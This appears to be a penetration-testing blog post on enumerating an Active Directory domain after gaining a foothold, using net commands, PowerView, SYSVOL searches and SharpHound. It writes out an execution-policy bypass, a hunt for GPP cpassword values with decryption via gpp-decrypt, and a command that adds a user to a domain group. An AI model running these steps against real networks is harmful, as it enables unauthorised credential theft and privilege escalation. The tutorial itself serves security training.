Once we’ve gained access to a domain joined user we can being the enumeration process. We’re looking to gather as much information as possible to move laterally to other users, groups or gain more information about the Domain Controller. In this post, we’ll be using PowerView and Bloodhound to help uncover insights within Active Directory environments.
net user
net user /domain
net user <username> /domain
net group /domain
net group “<group>” /domain
PowerView
Using PowerView, a powerful PowerShell script, we can use it’s multiple functions to enumerate the Domain. It contains a set of Powershell replacements for multiple “net” commands. It also implements various custom metafunctions that can identify where users are logged on, check if user has local admin access and more.
import-module .\PowerView.ps1
Import PowerView module
powershell -ep bypass
Bypass Execution Policy
Get-NetDomain
Uses .NET Classes to obtain LDAP path to GetCurrentDomain()
Get-NetUser
Enumerates all user objects
Get-NetUser | select cn,pwdlastset,lastlogon
Output when password was last set and last logon
Get-NetGroup | select cn
Enumerate Groups
Get-NetGroup "<Group_Name>" | select member
Enumerate members of specific group
Get-NetUser “<user>”
List everything for user
Enumerating Operating Systems
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname
Get-NetComputer "<computer_name>" | select distinguishedname
Get Distinguishedname for specific computer
Permissions and Logged on Users
Find-LocalAdminAccess
This outputs if our current user has administrative access to any other machines. Depending on the size of the environment, this may take a few minutes to complete
Get-NetSession -ComputerName <computer_name> -Verbose
We might see IP, username and more. If we don’t see any output, make sure to use the verbose flag. We might see “Access Denied”
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Outputs our current permissions and may help us better understand the environment
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
Find OS version and build
Enumerating Service Principal Names
Service Accounts may be members of high privileged groups. Spn.exe is installed on windows by default. It can be used to query specific SPNs.
setspn.exe -L <application_name>
We can also use PowerView to enumerate SPNs
Get-NetUser -SPN | select samaccountname,serviceprincipalname
Enumerating Object Permissions
Get-ObjectAcl -identify <user>
This will generate a lot of output. We are mainly interested in ObjectSID, ActiveDirectoryRights, and SecurityIdentifier.
We can use PowerView to convert the SID into an actual domain object name, which is a readable format.
"<SID_to_convert>,<SID_to_convert>" | Convert-SidToName
Now we can see if any SIDs have unexpected or misconfigured permissions like GenericAll.
If we have access to a user that has higher permissions we may be able to add our user to a specific group to gain more access to the domain.
net group “<group_name>” user /add /domain
Enumerating Domain Shares
Find-DomainShare
Will take some time to return output.
Find-DomainShare -CheckShareAccess
Only show shares that are available to us.
SYSVOL is typically used for domain policies and scripts. These reside on the Domain Controller and may include folders. Every domain user should have acces to this.
%SystemRoot%\SYSVOL\Sysvol\<domain-name>
This is the default location of SYSVOL
findstr /S /I cpassword \\<domain>\sysvol\<domain>\policies\*xml
This can also find the GPP file with encrypted password for local admin
ls \\dc1.domain.com\SYSVOL\corp.com
cat \\dc1.domain.com\SYSVOL\corp.com\Policies\oldpolicy\backup.xml
Investigating older policies can give us insight into the network design.
We also may be able to see encrypted password (AES-256) for local admin. And since Microsoft posted the private key years ago, we can use gpp-decrypt tool to decrypt the password. This is why using LAPS is important.
gpp-decrypt “<pass”>
Sharphound / Bloodhound
Another method to collect data on an Active Directory environment is to use the Bloodhound suite. The first step is to use the sharphound tool. This will attempt to gather an extensive amount of AD data, except for Local Group Policies. It will output the data into JSON and zip the file.
We may need to enter a new PowerShell shell if we get errors.
Import-Module Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\user\Desktop -OutputPrefix "domain audit" -ZipPassword
Using -ZipPassword flag, safely encrypts the file with a password. After SharpHound finishes, we can transfer the zip back to our machine and start BloodHound for a graphical analysis. This allows us to find connections with users, groups, and machines that may be difficult to spot manually.
In a future article, I’ll cover BloodHound in more detail and show how we can leverage the power of this tool to spot misconfigurations and hopefully gain access to other users, endpoints and ultimately the Domain Controller.